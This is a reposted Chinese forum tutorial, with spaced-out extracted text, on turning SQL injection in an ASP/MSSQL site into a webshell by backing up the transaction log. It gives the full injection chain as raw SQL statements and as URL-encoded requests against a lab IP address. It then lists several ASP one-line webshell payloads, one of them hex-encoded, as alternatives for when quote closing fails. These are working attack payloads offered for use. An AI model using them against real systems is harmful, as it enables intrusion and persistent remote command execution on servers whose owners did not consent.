搜索

[21148] 2020-07-19_Web渗透之mssqlLOG备份getshell

文档创建者：s7ckTeam
浏览次数：47
最后更新：2025-01-18
2020-07-19_Web渗透之mssqlLOG备份getshell W e b 渗 透 之 m s s q l   L O G 备 份 g e t s h e l l L e m o n S e c   2 0 2 0 - 0 7 - 1 9 l o g 备 份 的 总 结 当 S Q L 注 入 是 得 到 D B 权 限 时 候 ， 接 下 来 可 以 做 的 工 作 很 多 ， 象 找 管 理 员 密 码 ， 后 台 管 理 这 些 都 可 以 帮 助 你 拿 到 W E B S H E L L , 但 是 这 篇 文 章 讲 的 是 l o g 备 份 , L O G 备 份 出 来 的 小 马 的 体 积 小 , 而 且 备 份 的 成 功 的 可 性 很 大 ， 所 以 是 我 作 为 对 D B 权 限 的 第 一 种 试 探 方 法 .   但 是 在 L O G 备 份 中 , 我 们 经 常 会 遇 到 一 些 很 让 我 们 头 痛 的 问 题 , 那 就 是 闭 合 的 问 题 L O G 备 份 产 生 的 文 件 更 小 l o g 备 份 L O G 备 份 需 要 先 把 指 定 的 数 据 库 激 活 为 还 原 模 式 ， 所 以 需 要 执 行 a l t e r   d a t a b a s e   X X X   s e t   R E C O V E R Y   F U L ， 而 差 异 备 份 不 需 要 ， 所 以 只 有 这 条 语 句 的 就 是 L O G 备 份 过 程 : 测 试 例 子 : 测 试 中 数 据 库 名 为 a s p _ t e s t , 网 站 根 目 录 为 " E : w w w r o o t a s p _ s q l i " ; a l t e r   d a t a b a s e   数 据 库 名 称   s e t   R E C O V E R Y   F U L L   - - ; c r e a t e   t a b l e   c m d   ( a   i m a g e )   - - ; b a c k u p   l o g   数 据 库 名 称   t o   d i s k   =   ' E : w w w r o o t a s p _ s q l i h a c k . a s p '   w i t h   i n i t   - - ; i n s e r t   i n t o   c m d   ( a )   v a l u e s   ( ' < % % 2 5 E x e c u t e ( r e q u e s t ( " g o " ) ) % % 2 5 > ' ) - -   ; b a c k u p   l o g   数 据 库 名 称   t o   d i s k   =   ' E : w w w r o o t a s p _ s q l i h a c k 2 . a s p '   - - h t t p : / / 1 9 2 . 1 6 8 . 5 . 2 1 : 8 1 / i n d e x . a s p ? i d = 1 ; a l t e r % 2 0 d a t a b a s e % 2 0 a s p _ t e s t % 2 0 s e t % 2 0 R E C O V E R Y % 2 0 F U L L % 2 0 - - h t t p : / / 1 9 2 . 1 6 8 . 5 . 2 1 : 8 1 / i n d e x . a s p ? i d = 1 ; c r e a t e % 2 0 t a b l e % 2 0 c m d % 2 0 ( a % 2 0 i m a g e ) % 2 0 - - h t t p : / / 1 9 2 . 1 6 8 . 5 . 2 1 : 8 1 / i n d e x . a s p ? i d = 1 ; b a c k u p % 2 0 l o g % 2 0 a s p _ t e s t % 2 0 t o % 2 0 d i s k % 2 0 = % 2 0 % 2 7 E : w w w r o o t a s p _ s q l i h a c k . a s p % 2 7 % 2 0 w i t h % 2 0 i n i t % 2 0 - -
执 行 好 了 以 后 可 以 看 到 备 份 出 来 的 w e b s h e l l 只 有 8 3 k b   保 存 数 据 库 是 木 马 h t t p : / / 1 9 2 . 1 6 8 . 5 . 2 1 : 8 1 / i n d e x . a s p ? i d = 1 ; b a c k u p % 2 0 l o g % 2 0 a s p _ t e s t % 2 0 t o % 2 0 d i s k % 2 0 = % 2 0 % 2 7 E : w w w r o o t a s p _ s q l i h a c k . a s p % 2 7 % 2 0 w i t h % 2 0 i n i t % 2 0 - - h t t p : / / 1 9 2 . 1 6 8 . 5 . 2 1 : 8 1 / i n d e x . a s p ? i d = 1 ; i n s e r t % 2 0 i n t o % 2 0 c m d % 2 0 ( a ) % 2 0 v a l u e s % 2 0 ( % 2 7 % 3 C % % 2 5 E x e c u t e ( r e q u e s t ( % 2 2 g o % 2 2 ) ) % % 2 5 % 3 E % 2 7 ) % 2 0 - - h t t p : / / 1 9 2 . 1 6 8 . 5 . 2 1 : 8 1 / i n d e x . a s p ? i d = 1 ; b a c k u p % 2 0 l o g % 2 0 a s p _ t e s t % 2 0 t o % 2 0 d i s k % 2 0 = % 2 0 % 2 7 E : w w w r o o t a s p _ s q l i h a c k 2 . a s p % 2 7 % 2 0 - - h a c k . a s p h a c k 2 . a s p
容 易 出 错 的 地 方 分 为 6 步 操 作 , 最 容 易 出 错 的 就 是 第 4 步 的 操 作 ， 经 常 返 回 没 有 闭 合 的 问 题 ， 下 面 就 是 一 些 我 们 可 以 将   v a l u e s 中 的 内 容 可 以 进 行 更 换 的 方 式 , 当 我 们 的 一 种 方 式 不 行 的 话 ， 就 可 以 换 另 一 种 方 式 ， 当 所 有 的 方 式   都 换 完 了 ， 没 有 什 么 好 说 的 ， 要 么 就 放 弃 ， 要 么 就 换 另 一 种 方 式 继 续 ， 想 列 目 录 找 数 据 库 下 载 ， 后 台 . 这   里 就 不 多 说 了 ， 可 以 提 换 的 内 容 有 :   没 有 专 业 运 营 团 队 ， 纯 个 人 凭 着 空 闲 时 间 的 学 习 ， 通 过 网 络 搜 集 与 学 习 整 理 的 资 料 记 录 并 分 享 。   如 果 觉 得 文 章 对 你 有 帮 助 ， 请 支 持 下 点 击 右 下 角 “ 在 看 ” a ) . < % % 2 5 E x e c u t e ( r e q u e s t ( " g o " ) ) % % 2 5 >   b ) . < % E x e c u t e ( r e q u e s t ( " g o " ) ) % >   c ) . % > < % e x e c u t e   r e q u e s t ( " g o " ) % > < %   d ) . < s c r i p t   l a n g u a g e = V B S c r i p t   r u n a t = s e r v e r > e x e c u t e   r e q u e s t ( " s b " ) < / S c r i p t >   e ) . < % 2 5 E x e c u t e ( r e q u e s t ( " l " ) ) % 2 5 >   f ) . 0 x 3 C 2 5 6 5 7 8 6 5 6 3 7 5 7 4 6 5 2 8 7 2 6 5 7 1 7 5 6 5 7 3 7 4 2 8 2 2 6 1 2 2 2 9 2 9 2 5 3 E 转 载 自 ： 卿 先 生 博 客 地 址 ： h t t p s : / / w w w . c n b l o g s . c o m / - q i n g - / p / 1 0 6 9 2 8 2 4 . h t m l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理